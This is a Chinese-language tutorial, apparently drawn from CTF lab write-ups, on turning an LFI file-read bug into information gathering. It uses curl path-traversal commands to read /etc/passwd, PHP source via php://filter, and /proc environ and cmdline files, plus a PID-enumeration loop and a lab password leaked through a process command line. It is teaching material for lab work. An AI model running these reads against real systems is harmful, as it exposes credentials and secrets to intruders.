跳到主要内容

LFI 任意文件读取与运行时信息收集

LFI 常被误解成“读到 /etc/passwd 就结束”。在靶场和真实授权测试里,文件读取更重要的价值通常是继续收集运行时信息:源码、进程启动参数、环境变量、配置文件、日志路径和服务目录。


第一阶段:确认可读文件

最常见的验证目标是 /etc/passwd

curl -sS 'http://target/file.php?file=/etc/passwd'

如果需要目录穿越:

curl -sS 'http://target/index.php?book=../../../../etc/passwd'

命中后通常会看到:

root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

第二阶段:读取源码

PHP 场景里,如果直接读取 .php 文件会被执行而不是显示源码,可以尝试 php://filter

curl -sS 'http://target/file.php?file=php://filter/convert.base64-encode/resource=file.php' | base64 -d

源码能帮助判断后端到底是:

代码形态后续方向
file_get_contents($file)主要是任意文件读取,不会执行 PHP Payload
include($file) / require($file)可能走日志投毒、Session 投毒、上传文件包含到 RCE
加了路径拼接测试目录穿越和 wrapper 是否可用
有过滤黑名单观察是否能编码、大小写、路径变体绕过

Yuan114 中,源码确认是 file_get_contents(),所以后续重点转向读取 /proc 中的敏感运行时信息,而不是继续硬怼 PHP RCE。


第三阶段:读取 /proc 运行时信息

当前进程命令行

curl -sS 'http://target/index.php?book=../../../../proc/self/cmdline' | tr '\0' ' '

常见价值:

信息用途
服务启动命令判断是 Apache、PHP 内置服务器、Python Flask 等
-t / docroot定位 Web 根目录
监听地址和端口发现本地服务或调试服务
启动参数可能泄露账号、密码、Token

当前进程环境变量

curl -sS 'http://target/index.php?book=../../../../proc/self/environ' | tr '\0' '\n'

常见价值:

信息用途
USER确认当前 Web 权限
HOME定位可读目录
PATH判断命令执行环境
应用密钥可能泄露数据库、JWT、云服务凭据

遍历其他进程命令行

如果能读取任意 /proc/<pid>/cmdline,可以遍历 PID:

for i in {1..1000}; do
curl -s "http://target/file.php?file=/proc/$i/cmdline" | tr '\0' ' '
echo
done

Yuan114 中,突破点正是 /proc/<pid>/cmdline 暴露了服务启动参数:

service --user welcome --password 6WXqj9Vc2tdXQ3TN0z54 --host localhost --port 8080 infinity

完整过程见:HackMyVM Yuan114 通关记录


高价值读取清单

目标价值
/etc/passwd确认 LFI,收集本地用户
/proc/self/cmdline当前 Web 进程启动方式
/proc/self/environ当前进程环境变量
/proc/<pid>/cmdline其他服务的启动参数
Web 源码文件识别读取、包含、过滤逻辑
应用配置数据库、缓存、API Key、后台路径
用户目录flag、笔记、备份、SSH 线索
日志文件可能作为 LFI 到 RCE 的载体
邮件文件可能配合 SMTP 投递形成可控内容

与日志投毒的分界

并不是所有 LFI 都能直接 RCE。关键看后端如何处理被读取文件:

file_get_contents/readfile/fopen -> 只读内容,PHP 不执行
include/require -> 文件内容会被 PHP 解释,可能 RCE

如果确认是 include / require,可以继续看:LFI 日志与邮件投毒到 PHP RCE


来源案例

  • HackMyVM Yuan114:LFI 读取 /proc/<pid>/cmdline 泄露 SSH 凭据。
  • sunset: solstice:LFI 读取 /proc/self/cmdline/proc/self/environ 确认 PHP 内置服务器和权限。